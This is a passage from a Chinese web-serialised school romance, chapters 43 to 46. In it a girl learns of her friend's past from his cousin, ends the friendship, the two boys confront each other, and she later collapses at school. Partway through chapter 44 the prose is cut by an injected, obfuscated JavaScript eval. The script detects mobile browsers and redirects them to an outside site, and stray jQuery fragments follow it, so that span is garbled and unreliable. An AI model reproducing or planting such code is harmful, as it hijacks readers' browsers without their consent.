以防出现什么突发情况,姜绵还是把自己打扮得全副武装。 跟正在厨房做饭的徐阿姨打了声招呼后,她就顺着祝煜发来的地址信息乘车赶了过去。 路上有些堵车,到所约餐厅的时候迟到了一小会儿,里面的奢华程度是她从未预想过的。 姜绵站在门口不知所措,只没底气报了一个名字,大厅服务员笑容标准,伸手引着她往里进。 正是午餐的时间点,餐厅里座无虚席,但却意外的安静,除了环绕播放的舒缓音乐,再没有其他嘈杂的声音。 祝煜坐在一个靠窗的位置,看见她后,笑着朝她招了招手。 姜绵走近在他对面坐下,有些抱歉的笑了笑:“不好意思,我迟到了。” “没事,我也刚到。”说着他把菜单推向她,“看看你想吃什么。” 她还没能适应这个环境,菜单上五花八门的菜品名更是让她捉摸不透。 姜绵牵强笑了笑,把菜单又推给了他,说:“你点吧,我吃什么都行。” 祝煜没再推让,朝身旁站着的服务员指了指几样菜品,把菜单递了过去:“就这些,谢谢。” “好的,两位稍等。” 服务员离开后,姜绵松了一小口气,手无处安放搭在了膝盖上,轻轻摩挲了几下。 趁着等菜的间隙,祝煜拿出书包里的东西递给她:“这些资料我整理了一下,很齐全,有对不上的你再告诉我。” 很厚重的一摞资料,接过东西手往下沉了沉,姜绵小声惊呼了句,微笑道谢:“谢谢学长。” “别客气,对你有帮助就行。” 有帮助,帮助大了! 她拿着资料爱不释手,连翻看动作都很小心,生怕弄皱一点儿。 “其实让我去你家拿就可以了,没必要专门跑一趟。” 祝煜抿了一口玻璃杯里的水,长舒一口气后抬眼看她:“是因为,还有些事想和你说。” 姜绵还沉溺在知识的海洋里,顺着回应:“嗯?什么事?” “叶薇的事,你应该已经知道了吧?” 嘴角的笑意凝固,她看向祝煜带着询问的眼神,僵硬点了点头。 “那你知道,是谁把那些东西爆出来的吗?” 接二连三的提问,让姜绵脑子乱成了一锅粥,她不明白他为什么会在这个时候提叶薇的事。 隐隐约约有些猜测却不敢应证。 或许送资料并不是他的真实目的,他想对她说的话才是。 43. 诱问 他约自己出来的时间太过凑巧,现在又主动提及,她很难不多想。 没心情再管手里的资料,姜绵面上淡定,笑了笑:“不知道,怎么了?” 像是早就知道她的回答会是这样,祝煜接话很快:“也没什么,这事儿闹挺大的,我担心会影响到言琛。” 听到熟悉的名字,她微微皱了皱眉头。 这事跟许言琛有什么关系? 祝煜依旧笑的温煦,摩挲了一下杯身,说:“叶家和许家生意上有合作,他们又从小认识,有段时间走得也近,我怕……” “不会的。”她否决的干脆,捧着杯子喝了一小口白开水,十分笃信,“他没做过那样的事,连累不到他。” 祝煜一时怔松,而后立马改了口:“是,他肯定不会是那样的人。” 姜绵没说话,垂眸看向手里的玻璃杯,慢慢打着转。 悠扬舒缓的古典音乐在餐厅回荡,餐桌上陷入一阵沉默。 祝煜看了眼桌对面一直垂着头的人,觉得她应该是有些生气,于是主动道歉:“刚刚是我一时说错了话,你别介意。” 见她轻轻晃了晃头,片刻后他才重新笑着开口:“言琛他又回老家了吧?” 姜绵身子一顿,看向他的眼神里带着些疑惑:“对,学长怎么知道的?” 隐隐约约感觉某些谜底就快要揭晓了,越接近真相的那一刻,她反倒有些惴惴不安。 祝煜嘴唇翕动,像是在说一件再普通不过的事:“再怎么说我也是他表哥,每年他都会回老家这件事,家里面都知道。” 表哥? 祝煜是许言琛的表哥? 这个结果倒也没让她太过惊讶。 毕竟之前坦白局的时候问过许言琛,他也说了沾了点亲戚。 只是她没想到,原来是这层亲戚啊。 “其实我挺能理解他的。” 男生突然冒出来的一句话拉回她的思绪,姜绵抬眼朝他看。 “姨夫他们之前事业刚起色,没时间照顾他,就把言琛丢给了他乡下的爷爷,直到初中的时候,他爷爷病逝,姨夫他们这才把他接回来。” “所以,也不怪言琛他对那个地方那么留恋。” 原来是这样。 难怪他回老家那么勤,也难怪他跟许叔叔他们关系冷淡。 姜绵内心煎熬,总觉得这些有关许言琛的私事,不是从他嘴里说出来的,自己没必要知道太多。 她朝祝煜不尴不尬扯了扯嘴角,探头准备催服务员上菜,想着早点应付完早点离开。 桌上的手机在这个时候亮起,锁屏界面弹出一条信息,她扫了一眼,下意识倒吸了一口凉气。 还真是越怕什么越来什么。 从桌上拾起手机点进信息,上面赫然有一条许言琛一分钟前发来的消息。 A_XU:去哪儿了? 短短一句话让她生出一种被发现的心虚感。 看来他是已经到家且发现她不在了。 她试探性问了问。 姜绵眠眠:你回来了吗? 几秒后,他回复。 A_XU:嗯,你不在。 怎么偏偏是现在回来了,她有些懊恼看着键盘不知道该怎么继续回他,没注意到对面人搭在桌上的手正慢慢攥紧。 姜绵不想骗他,思前想后回了个在外面吃饭后就按熄了手机。 “怎么还没上菜?”看着依旧空荡的桌面,她低声喃喃。 时间紧迫,她不想在这里继续耽误下去时间,正打算找个理由先开溜,祝煜抢在她前面开了口:“这么久了,他还是用的那个名字。” 没头没尾的一句话,让人摸不着头脑。 姜绵停下收拾东西的动作,却没准备问下去。 祝煜不在意她是否好奇,轻笑了声继续说:“你知道他名字前面的A是什么意思吗?” 她依旧不言语,看着他的淡琥珀色眼眸中隐隐有了些松动。 她不是没好奇过,却也从来只停在了好奇这一阶段。 而祝煜今天,是铁了心要让她踏出这个阶段。 他自然是知晓她不知道,故意问一句不过是为了抛砖引玉。 往前凑近了些,祝煜话里带着意味不明的笑:“许言琛之前养过一只猫,叫A妹,他对那只猫很上心,一般人碰不了。” “去年四月份,姨夫连续好几天彻夜未归,小姨在家发了疯似的乱砸东西,那猫扑上来咬了她一口,小姨的性子直接把那猫丢了出去。” “等许言琛回家发现不对劲出去找的时候,那只猫已经死在了草丛堆里,不成了样子。” 看着她脸上的惊愕,祝煜知道自己的目的就快达成了。 他往后靠了靠,给这个故事收了尾:“也就是从那以后,他开始一蹶不振,自暴自弃,成了现在如你所见的样子。” 姜绵只感觉一阵耳鸣,便什么也听不见了。 “不好意思,两位久等了,菜上齐了请慢用。” 有些东西等待太久,说不定在某一刻就会失去原本的重要性,失去它原本的意义。 姜绵提起手边的书包起身,把桌上的资料和手机胡乱一通塞进书包里,从兜里摸出钱包。 她从钱包里抽出一沓纸币,压在了玻璃杯下面,语气疏离:“谢谢学长的资料,劳烦学长告诉我这些。” 趁自己还能压得住情绪,姜绵背上书包转身大步离开。 祝煜没有挽留,看着她的身影逐渐消失在自己的视野里,挺直的背脊慢慢佝偻。 明明事情发展跟他预想的一样,明明在这一刻他成了赢家。 为什么他却一点儿也高兴不起来。 走出餐厅的时候,姜绵一片浑噩,她分不清哪条路才应该是她走的,只胡乱的转过一个又一个街角。 冥冥之中像是有什么在指引,周遭人来人往,她在人群中停下脚步,侧头看向身旁小铺的玻璃橱窗。 橱窗里摆满了各式各样的黏土手工作品,并排摆放得整整齐齐,大多都是一些小动物,被人捏得栩栩如生。 她被许言琛骗了。 那些并不是他从小摊上顺手买回来的,他送她的不是,他摆在书桌上的也不是。 她以为自己是能拉他出来的人,结果到现在才可笑的发现,原来她才是一切的罪魁祸首。 她骗不了自己,在她听见那个时间点的时候,一切都自然而然的串联了起来。 她抬手擦拭眼底的湿润,可眼泪却跟泄了闸的洪水般,停不下来。 姜绵无助捂住脸抽泣。 为什么那么巧,偏偏就是去年四月。 直到天黑了下来,她才拖着步子走回许家。 还没走近,她一眼就认出了站在车站低着头的人,平生第一次生出想躲避的想法。 没来得及等她做出反应,许言琛抬头看见了她,几步朝她走来,扬唇笑得散漫:“去哪玩儿了,怎么回来这么晚?” 他伸手想帮她提书包,姜绵往后退 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她强迫自己淡定,看着他摇头,没有一丝感情波澜:“没有,什么也没发生。” “那是为什么?是我做错了什么,惹你生……” 他情绪激动,步步往前逼近,姜绵后退不及,出声打断他的动作:“许言琛!” 她从未这样厉声叫过自己,许言琛愣在原地。 姜绵攥紧手心,指甲陷进肉里,靠着一丝疼痛维持自己的理智。 到了这个时候她还是没忍心看着他,微微偏头说:“以后我们就各自走各自的路吧。” 似乎不敢相信自己听到的,缓了好一会儿,他几乎是被气笑,咬牙一字一顿:“你什么意思?” 她深呼吸了一口气,扬起一张白净的脸看他,出口的话直戳人心:“意思就是,我不想和你当朋友了,我想过好我自己的生活。” “说实话,一直以来,你带给我的只有无穷无尽的压力,我逃课,被惩罚都是因为你,我觉得很丢脸,你能不能别再擅自搅乱我的生活了?” 许言琛眼底一阵刺痛,嘴唇翕动好半晌没说出一句话。 他不知道事情为什么会突然变成这样,他只是回了趟家,怎么一切都变了样。 趁他这时候松了劲,姜绵抽出自己的手转身逃离。 “姜绵!”他冷下声喊她,见她站定,又柔下了声,带着点讨好,“你之前不是问我,是不是可怜你吗,我现在可以回答你了。” “不重要了。”话刚出口,姜绵鼻尖泛酸。 她不是没察觉到他的刻意讨好,只是事情到了这一步,她能做的只有更狠心。 她颤抖着声线,重复了一遍:“都不重要了。” 一阵沉默后,她听见身后的人似乎是轻嘲了一声,抬脚踩碎了脚边的枯叶,喃喃道:“行,……行。” 身后少年的脚步声愈行愈远,直到最后再也听不见声音。 风卷起脚边的落叶,带着它们上下起伏降落,推向更远的地方,披在背后的头发被吹得凌乱,糊了她的眼睛,也模糊了她的视线。 姜绵抱着快融化的一袋雪糕,无力的蹲下了身,积蓄良久的眼泪在这一刻顷数释放。 “对不起,对不起,对不起……” 眼泪重重砸在地上,绽开一朵朵泪花,连带着她的心一起,碎了一地。 她只是怕他在知道真相以后,会更加恨她。 44. 陌路 傍午黄昏。 天色渐晚,老式小区外面的路灯还没亮起,道路被停在街两边的车占了一大半,狭窄小道上一家三口其乐融融。 “妈,我来提吧。” “不用不用!这东西又不重。”祝母移开手里提着的装得鼓鼓囊囊的购物袋,面上高兴,“你这双手啊,用来拿笔写字就行!” “你妈说的对,我们祝家好不容易才出了个你,你有这份心,我和你妈就很满意了。” 祝煜慢慢收回手,垂头扯出一抹勉强的笑。 一家人说笑着走到小区门口,路过保安亭的时候,晃眼看见了靠着电线杆懒散站着的人。 许久没来往的人突然出现,祝父祝母都有些措手不及。 祝煜倒是不意外,甚至在他预料之中。 上前一步,他露出笑,依然是那个让人挑不出毛病的三好学生,“言琛?你怎么来了,也不跟我们说一声。” “就是,言琛啊,你看你好不容易来一趟,大姨也没准备些什么,不嫌弃的话,上大姨家坐坐?” 许言琛掀起眼皮,冷冷看向面前的人,没应话。 祝煜朝他勾唇一笑,往后撤步,推着父母往小区里走,“你们先回去吧,我跟言琛有些事要聊。” “哦、哦,那你们聊,你们聊,我跟你爸先上去做饭。” 似是有些担心,祝母祝父边走边回头朝他们看,直到祝煜远远朝他们笑着挥了挥手,才放心进了单元楼。 楼底声控灯亮起熄灭,身后响起“叮”的一声,像是金属碰撞的声音,反复多次,微弱短促而又清脆透亮。 祝煜蓦地笑出声,言语平静:“来的比我想象中快。” 身后的动静并没随着他的话而停止下来,反倒更加有规律的打开合上。 就像是在执行一道催眠术,想借此窥视他的灵魂。 他听的心头没由来烦躁,转身佯装关心:“不是告诉过你吗,别再抽……” 没等这句话说完,许言琛收了手里的火机,冲上前拽着他的领子,推着他将人用力扼在身后发灰掉皮的墙上,声线冷硬:“你跟她说了什么?” 祝煜后背被撞的发麻,克制着只微微皱了皱眉心。, “我不过是跟学妹聊了聊之前的趣事罢了,看你这么着急,是发生了什么吗?” 许言琛双目猩红,死死盯着他。 “是不是她误会了什么,要不我去跟学妹解释一下……” 看够了他的惺惺作态,许言琛拉着他的领子往上提,字字嘲讽:“你还是跟以前一样,让人瞧不起。” 祝煜一怔:“你说什么?” 许言琛拽着他往旁边用力一推,松了手,插兜高高在上睨他:“那些下三滥的手段,我看都快看腻了,你还没用腻?” 不设防的,祝煜被推得跌坐在地,猛然间像是听见什么很好笑的事,抬头看着他笑出声:“你又好得到哪里去?我还真是没想到,你竟然会为了她去得罪叶家。” “你说姨夫知道真相后,会不会来感谢你这个亲儿子,感谢你大义灭亲,亲手毁了他一桩好生意。” 他故意说这些话来激怒他,想让他跟自己一样,变得逐渐疯癫,逐渐失去理智。 可他等了很久,面前站立的人始终没有任何反应,反而用一种像在看笑话的眼神睨着他。 等他没了笑,许言琛缓缓勾唇,半蹲下身,手里不知道什么时候多出几张照片,“堂堂学生会主席,怎么能光明正大受贿呢。” 祝煜瞳孔放大,伸手一把夺过照片,一张张迅速翻看。 每一张照片上面都是他跟叶薇在餐厅里说笑的画面,甚至最后一张的画面,停在了叶薇伸手向他递过一摞厚厚的纸币。 怎么可能,许言琛怎么会有这些照片? “你说要是别人看见这些照片,会怎么想?万一不小心让大姨他们知道了……” “许言琛!”祝煜狼狈爬起身,浑身止不住的颤抖,又发了疯似的拽着他的衣服,“你他妈跟踪我?” 许言琛蹙眉不耐烦,一把拂开祝煜的手。 “怕什么。”他冷冷呵笑,理了理衣服好整以暇斜他,“难不成,你真的收了?” “我没收,我没收……”祝煜垂头失魂落魄,拿起手里的照片喃喃,“她只是想让我帮她一起对付姜绵,说只有这样才能让你犯下更大的错,我没同意。” “我……我做不到,姜绵她……” “够了。” “我对姜绵有……” 没让他说完,许言琛冲上前,对着他就是重重一拳,祝煜被打得身体倾斜,摇晃好半天才撑着墙站稳。 许言琛被他嘴角的鲜红染红了双目,即将落下的拳头在离他脸只有微小距离的时候停了力道。 他眼皮暴跳,咬牙嘲讽意味明显:“你、不、配!” 也就是这句话刚好戳破了祝煜的自尊心,他抹了把嘴角,面目狰狞推开他:“我是不配,我只是不甘心!明明我不比你差,为什么所有人都围着你转,围着你们家转!” 从小到大,每次家庭聚餐,他们家永远是被忽略,没有话语权的那个。 明明都是第一名,可他就是永远都比不上许言琛。 他只是想证明自己,他只是不想再看见母亲露出落寞的表情,他有错吗? “像你这种人,根本就不会理解,不会理解我们的日子有多难过!” 许言琛抿直唇角,良久,极轻嗤笑了声:“别给自己的无能找借口了,这不是你干那些事的理由。” 仰头轻吐了口气,他抬脚慢慢朝人逼近,握拳凑近他的脸,祝煜下意识闭上了眼睛。 预想中的疼痛感并没有出现,只听见极为清脆“叮”的一声,齿轮滑动的声响后,隐隐有一道热气扑打在脸上。 祝煜缓缓睁开眼,咫尺处微微跳动着的火苗映入眼帘,他惊恐往后退了一小步,吞吐着好半晌说不出话。 许言琛嘴角噙笑,眼神没什么温度,握着打火机不疾不徐往下移,停在了他的手边,点燃了照片一角。 火苗迅速蔓延,没用多久就快烧到了他的手,祝煜忙不迭松手丢了照片,眼睁睁看着它们在地上化为一片灰烬,被风吹散飘远。 他抬眼难以置信:“你什么意思?” 许言琛转手合上火机,揣进兜里,笃信道:“我会让你输的心服口服。” 没兴趣倾听他的回答,说完他转身就离开。 祝煜没缓过神,看向那道丝毫没受自己恶语影响的背影。 少年脚步有着不似他年龄的沉稳,每走一步都从容不迫。 他背靠着墙滑坐在地上,目光呆滞。 * 这个暑假一团混乱。 许国安一整个假期都忙着处理公司的事,孟虹因为这件事几乎是天天抱怨,吵起来时,这个家里很少能有安宁的时候。 姜绵常常坐在书桌前,看着桌上摆着的黏土橘猫发愣,一坐就是一个下午。 自从上次跟许言琛说了那些重话后,他再也没有给她发过一条信息,没有在她眼前出现过,也没有主动来找过她,就连吃饭也会岔开时间避开她。 他好像真的打算从她的生活里彻底消失。 应该这样,这样才对。 可她真的一点也高兴不起来,反而很难受,很难受。 心里酸酸胀胀,打不起精神的时候,她总是喜欢盯着有关他的东西闷闷不乐。 “嘿!姜宝,看什么呢?” 盼星星盼月亮,终于盼到开学,从补习班的魔爪里逃脱,陈思彤整个人都精神了许多,攀着少女的肩顺着她的视线看去。 姜绵没有防备的被她吓了一跳,慌忙背过身掩盖自己的行径,“没看什么啊。” 才不信她说的话呢,明明看的那么入神。 陈思彤扶着栏杆探头往下看,扫到几抹熟悉的身影,拉了拉她的衣角,“姜宝,我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222141|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见许言琛他们了!” “你别……” 姜绵心里暗道不好,刚想伸手捂住她的嘴,却还是慢了一步。 “程渡!这儿!” 陈思彤用力挥手激动的不行,分了班不像之前一样可以天天见面,偶然几次在走廊上碰见都要扯半天闲话。 楼底花坛旁,程渡循着声音抬头望,在看见楼上走廊边的两个女生后,拢手笑着朝她们喊:“嘿!下来玩儿啊!” 喊完他给旁边人使了个眼神,“许哥,姜绵在那儿呢。” 楼上少女始终背对着他们不肯转身,似是害怕被谁认出来。 她今天盘了发,圆圆的脑袋上顶了个小丸子,被一个红色的发绳缠紧,留几缕扎不起来的碎发落在白嫩的脖间。 他敛下眼,扯下手边的一片叶子,情绪不怎么好:“看见了,没瞎。” 程渡瘪瘪嘴,靠近问他:“你们这是……又吵架了?” 见他垂头不说话,程渡心里有了底,连连啧声:“许哥,要我说啊,你真得改改你这性子,人姜小绵脾气那么好一个人都被你给……” “不是许哥,许哥你去哪儿啊?许哥!” 程渡看着一言不发走远的人,恨铁不成钢般摇摇头,“你看我说什么,这气性大的。” “许哥我是开玩笑的啊,要不要我帮你出谋划策啊,我这儿还有一大堆把妹技巧呢,你等等我……” 陈思彤看着楼下一溜烟就走远的两个人,忍不住疑惑:“搞什么啊,许言琛怎么看起来心情不太好。” “思彤,我有些不舒服,先回教室了。” “没事吧姜宝?要不要去医务室看看?” 姜绵抿唇轻轻摇了摇头:“不用了,我回教室休息一会儿就好了。” “好,那你慢点儿,好了记得来找我玩儿啊。” 姜绵舔了舔有些苍白的嘴唇,应下后迈着有些虚的步子离开。 少女走路轻微摇晃,薄薄一片的人像是随时能被风吹倒,陈思彤忍不住有些担心。 刚想追上去让她别勉强时,兜里的手机一阵震动。 打开社交软件发现竟然是刚刚才打过招呼的程渡发来的—— 小程子:许哥跟姜小绵吵架了,想想办法。 原来他们两个吵架了啊,难怪这几天都没见他们同过框,刚刚打招呼的时候气氛也特怪。 思索了一会儿,陈思彤突然想到了一个绝妙的招数。 在好友列表里划了好半天,才找到由几个字母组成的网名点了进去,将编排好的话输入发送。 一连串操作结束后,陈思彤看着聊天界面暗自窃喜。 在撮合别人感情这方面,她一定是个天才。 彼时,绿茵操场上正待着一群准备上体育课的学生。 操场外围树荫下站着一个身姿极为亮眼的少年,少年长腿微曲,插着兜靠在拦网上,微微眯眼任风吹乱额前的碎发。 校服两侧的袖子被稍稍往上挽了挽,露出他冷白健硕的手臂,少年恣意桀骜不驯的样子引得路过的女同学纷纷侧头偷睨。 似是等的有些不耐烦,许言琛直起身刚准备离开,不远处程渡飞奔着朝他跑来。 “我来了许哥!这厕所离操场也太远了,麻烦死了,东西给我吧。” 从兜里掏出一把硬币,许言琛一个接一个朝他丢过去,“就这几个子儿,揣自己兜里不行吗?” “那不行,万一掉厕所里了怎么办,上次我那几个硬币就是这么没的。” 提起这个程渡就一阵心肌梗塞,故作虚弱揉了揉心口。 不理解不尊重,许言琛轻嗤了声,把东西都丢给了他,抬脚朝操场中心走。 裤兜里传出轻震,他边走边掏出手机,看清手机上的内容后皱眉顿住了脚步—— 陈思彤:许言琛,刚刚姜宝脸色有些不太好,让她去看医生她也不去,我怕一会儿真出什么问题,你能帮我去劝劝她吗? 45. 道歉 如今正处夏天的尾巴,天气不冷不热,正是气温最舒服的时候。 走回教室姜绵却出了一身冷汗,也许是来了例假的原因,她并没怎么放在心上,趴在课桌上拿起热水杯捂了会儿肚子,意识逐渐有些昏沉。 “姜绵,老师留的那道题你解出来了吗?” 问话的是她在这个班的新同桌刘雪,性格自来熟,从开学那天起跟谁都能处的热络。 意识回笼,姜绵直起身看向身侧。 看见她那张略显苍白的脸色过后,刘雪惊呼出声:“不好意思,我是不是打扰你休息了?” 姜绵笑着摇了摇头,小声说了句没关系,从厚厚一摞书里抽出一个笔记本递给了她:“你看一下,不知道对不对。” 本子上的解题思路写的很清晰,刘雪扫了一眼心里就有了大致方向,还回笔记本的时候,看见她隐忍的表情忍不住有些担心她:“你是不是哪里不舒服,要不我陪你去趟医务室吧?” 抬头看了眼墙上挂着的时钟,姜绵语气透着虚弱:“没事,缓一会儿就好了。” 话音刚落,上课钟声恰好打响,任课老师踩着铃声走了进来,刘雪只好作罢。 身体上的不适并没有像她说的那样缓一会儿就好,比起小腹的绞痛,更折磨的是时不时冰火相切的体感。 一堂课下来,额头凌乱的碎发都已经被打湿,紧紧贴在了皮肤上,刚准备趁着下课时间休息一会儿,就有人过来敲了敲她的桌子。 “同学,外面有人找你。” 以为是陈思彤,姜绵没多想,艰难撑起身抬脚朝教室外走,晃眼在走廊上寻找时,视线撞入一个熟悉的身影。 她先是一愣,而后迅速低头咬了咬嘴唇,再抬头时人已经走到了身前。 整理好表情,姜绵换上疏离语气:“你找我有什么事吗?” 许言琛直勾勾看着她额头汗湿的碎发,目光一转又落到刚刚被她咬出一丝血色的嘴唇,眉心轻动语气透着关心:“哪里不舒服?” 不知道是隔了多久才又听到他的声音,姜绵心中一软极力忍住想哭的情绪,依旧淡淡:“谢谢你的关心,我没事。” 生怕再多待一秒就会暴露自己的脆弱,说完她转身就要离开,却先一步被他给拉住。 手心紧贴着手腕内侧,干燥的触感通过皮肤传遍整个体内神经,姜绵蹙眉看向他。 许言琛似乎有些生气,漆黑的眉眼如同乌云般往下压:“别在这时候跟我赌气。” 她张了张嘴刚想说什么,就见他从胸前口袋里拿出一个小东西,连同着手里的水杯一起塞进了她手里。 “实在痛的不行就吞那个,杯子里是红糖姜茶,程渡养生用的,喝了应该会好些。” 这么久了,她还从来不知道程渡竟是一个注重养生的人。 姜绵看了眼玻璃杯里褐红色的液体,没拆穿他的话:“麻烦替我跟程渡说声谢谢。” 过了一会儿,才听见他似是不太情愿的低声应了句,姜绵转身要走,视线突然有些模糊,她不稳的倒退了一小步,被人眼疾手快扶住了肩。 而后一道急迫的声音从头顶传来:“怎么这么严重?我带你去找医生看看。” 没等她同意,许言琛拉着她就要下楼,等姜绵反应过来的时候,他们已经到了下一层。 时不时有人经过看着他们窃窃私语,她用力挣开他的手,有些烦躁:“我不去!” 叹了口气,许言琛转身好脾气哄她:“有什么事都等看完医生再说。” 他作势要来牵她,姜绵侧身躲开,往后退了一步站上阶梯,高高看他:“我说了我不去,不管是现在去看医生,还是之后怎样,我都不会是跟你一起,我们以后桥归桥路归路。” 好一个桥归桥路归路。 她总能轻易就用三言两语气到他,许言琛换上冷肃表情,收回手插兜,掀起薄薄眼皮望她:“行,你说什么是什么。” 他淡淡扫了眼旁边偷睨的一群人,抬脚下了楼。 主角离场,那些看热闹的人觉得没意思也就慢慢散开,姜绵听着他缓重的脚步声消失不见,松了身后攥紧的手。 这次她已经用她以为最狠的话赶他走了。 像许言琛那么傲娇的人,她不信这一次两次的冷言热讽还不能击退他的一腔热情。 用力握了握手里的杯子,直到手指被烫到一蜷,姜绵勾住杯盖上的绳子,重力带着她的小拇指往下沉了沉。 她低头看向蜿蜒曲折的楼道,几层楼的高度空洞不见底,有汗顺着颌角滴落,她倏然觉得一阵眩晕。 察觉到不对劲,姜绵转身打算回教室,脚步骤然变虚,眼前一黑晕了过去。 彻底失去意识之前,她似乎听见有人焦急喊了自己一声,便沉沉昏睡了过去。 * 小巷中医馆里此刻排满了人。 许言琛拿着号排在队伍末尾,低头划看手机里科普的内容。 一个年轻小伙子来看中医属实少见,很快就吸引了一群热心大爷大妈在背后小声蛐蛐起来。 “这么年轻就来跑看中医咯!” “现在的年轻小伙子,身体是越来越不行了。” “也不知道是哪出问题了。” “这个可就不好说咯……“ 一群老婆婆推搡着笑作一团,丝毫没有要掩饰调侃的意思。 许言琛皱眉咳嗽了声,周身的打量才总算收敛了些。 排了快将近一个小时后,总算是轮到了他,许言琛长腿一迈坐上木椅,将手机反扣在木桌上。 老中医抬了抬老花镜,看了他一眼,早就见怪不怪,“哪里不舒服啊?” “痛经。” “?” 以为自己听错了,或者是自己看错了,老中医扶着眼镜凑近了些看,开口重复他的话:“痛经?你啊?” 许言琛总算抬眼看向他,黑眸里尽是怀疑。 老中医爽朗一笑,不再逗他,拿起圆珠笔抵在处方笺上:“替女朋友来的吧?说说吧,什么毛病。” 许言琛挑眉不否认,一只手搭在桌上,开口有条不紊:“我朋……我女朋友她每次痛经痛的厉害,严重的时候痛的直不起身,还会出一身冷汗,偶尔食欲不振但会想吐,眼前黑也是常有的事。” “可以啊小伙子,还挺细心。”老中医边写边抬眼看他,“多大了你女朋友,叫什么名字啊?” “姜绵,18岁。” “姜mian,哪个mian啊?” 许言琛低眉沉吟了会儿,决定保护一下隐私:“睡眠 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许言琛心一紧,慌忙打断她:“那您知道那位女同学现在在哪儿吗?” “应该是被人送去医务室了吧,我听他们说有个……” “谢谢阿姨!” 没等保洁阿姨把后面的话说完,许言琛大步跨下楼梯,直奔学校医务室。 * 刺鼻的消毒水味钻入鼻腔,床上紧闭双眸的少女微微蹙了蹙眉。 她好像陷入了一个冗长的梦境当中,耳边是无止境的哭怮声,还有一双沧桑粗砺的手拉住她不放。 就当她以为挣脱不了的时候,突然有一道声音急急唤她。 “姜绵?姜绵?姜绵?” 床上的人倏然睁开眼,大口呼着气。 从一个梦里清醒过来,姜绵看着眼前白花花的一片,以为自己又掉入了下一个梦境。 “姜绵,你终于醒了,感觉还好吗?” 耳边响起一道熟悉的声音,她费力侧头,看清人后,有些意外:“祝学长?你怎么会在这儿?我这是在哪儿啊?” 见她想起身,祝煜起身扶她,在她背后垫了个枕头。 “这是在学校医务室,你刚刚在教学楼里晕过去了,医生说是因为你……” 说到这儿,祝煜停顿了下,表情有些不自然,他轻咳了声,“是因为你来例假再加上没休息好,所以才会这样。” 听他说完,姜绵才终于确信这不是在梦境。 她对自己晕过去的事有些印象,看了眼还扎着针的手背,道谢的语气依然虚弱:“这次又麻烦你了,学长。” 祝煜坐回一旁的板凳,看着她摇了摇头,良久,他抿紧了双唇,没有说话。 沉默愈加绵长,吊瓶里的水滴的缓慢,姜绵用一种不算赶人的语气劝他离开:“学长你先回去吧,我现在感觉好多了,你不用在这里陪我。” 祝煜没应,低下头绞紧双手,周身气压有些低迷,姜绵隐约觉得他应该是有事要跟自己讲。 果不其然,在听见她说要休息一会儿的时候,祝煜总算扬起了脑袋,眼里折射出一丝愧意。 “那天的事情,是我对不起你……和他。” 46. 手工 他的道歉来的太突然,姜绵倚着枕头怔然。 “那天约你出来,确实是出于私心,我知道许言琛因为你又重新振作起来,我懦弱胆小,害怕一切又回到最初的样子。” 说到这儿,祝煜苦涩一笑:“以前的我好像总是活在他的阴影下,被他的光鲜亮丽遮得死死的,一开始接近你也是看出他对你的特殊,那时候总沾沾自喜,以为抓住了能摁死他的把柄。” “直到那天他打醒了我,说会让我输得心服口服,我才发觉自己做了些多蠢的事,无论输赢许言琛一直很坦荡,我不仅输不起,赢得也不光彩。” “所以我决定,从现在开始,和他公平竞争。” 前面一段滔滔不绝的自我检讨姜绵听的云里雾里,还没彻底从里面弄明白呢,最后一句话又给她敲晕了。 她不解问:“祝学长,你跟他又不是一个年级的,你们公平竞争什么啊?” 就算是要争年级第一的名次,那他们也应该是各自安好啊,平时八竿子打不着的两个人也能当对手吗? 祝煜嘴唇翕动刚想解释,没等他发出一个字节音,隔断帘被人“唰”的一声用力拉开。 姜绵和他同时转头看过去,只见帘子旁边站了一个身形高瘦的人,少年丢下手里的东西,朝里面走。 视线在他们两人身上流转了一圈,许言琛把目光落在病床旁雷打不动坐着的人身上,阴冷笑了笑,声线冷硬:“表哥要和我公平竞争什么?” 还是头一次从他嘴里听到表哥这个称呼,祝煜之前也不是没想过,不过属实没想到会是在这种情形下。 怎么说。 感觉不太妙。 迎着他充斥着敌意的目光,祝煜站起身,笑着拍了拍他的肩。 许言琛皱眉躲开,挤开他坐了下来,翘着腿提醒他:“还是那三个字,表哥难道是想再听一遍?” 那天许言琛咬牙一字一句对他说的话,此时又重新萦绕在耳边。 不过现在的他选择充耳不闻,祝煜转身看向病床上不明所以的少女,语气温柔:“医生说了,学妹你现在要多休息少说话,你好好睡一觉,我先回去了。” 姜绵刚想感谢他送自己来医务室,就被旁边坐着的人抢了话。 许言琛头也不抬,不知道从哪儿掏出来一个苹慢慢削着,话语中丝毫不掩饰自己赶人走的意思:“慢走不送。” 他行事作风向来如此,姜绵无可奈何看了许言琛一眼,转而对祝煜礼貌道谢:“麻烦学长你了。” 祝煜笑着朝她点了点头,离开前看着坐在原本自己位置上的人,说:“走了表弟。” 许言琛削苹果的手一歪,差点划到自己手指。 察觉到身后人离开,他压抑着怒气,反手又将帘子给用力拉上。 姜绵闭上眼睛装死,蠕动身体慢慢下滑,直到床单遮住她的大半张脸。 现在这种情况,她其实是有些想笑的。 第一次看许言琛吃瘪,她很难遏制住自己想多看几眼的想法。 “想看就看,想笑麻烦憋住。” 自己的想法完完全全被他给看透,姜绵扯着被子偏过头不看他,浑身上下写满了“犟”字。 最后一点儿果皮被稳稳削下来,许言琛看了眼手里果皮分离完美的苹果,满意勾了勾唇。 “吃苹果吗?” 姜绵眼都没睁,拒绝干脆:“不吃。” 许言琛果然也没再问,安静的医务室里,只能听见有什么被切开的声音,没一会儿,她感觉到干燥的嘴唇被贴上来一个冰冰凉凉的东西。 她猛的睁开眼,挑在水果刀尖的苹果块正抵在她唇边。 “还是不吃么?”许言琛佯装苦恼,收回手笑容恶劣,“行,别浪费,我吃。” “等等!”姜绵抓住他作势就要抬起的手,脸上红了一片。 他怎么能吃碰过她嘴巴的! 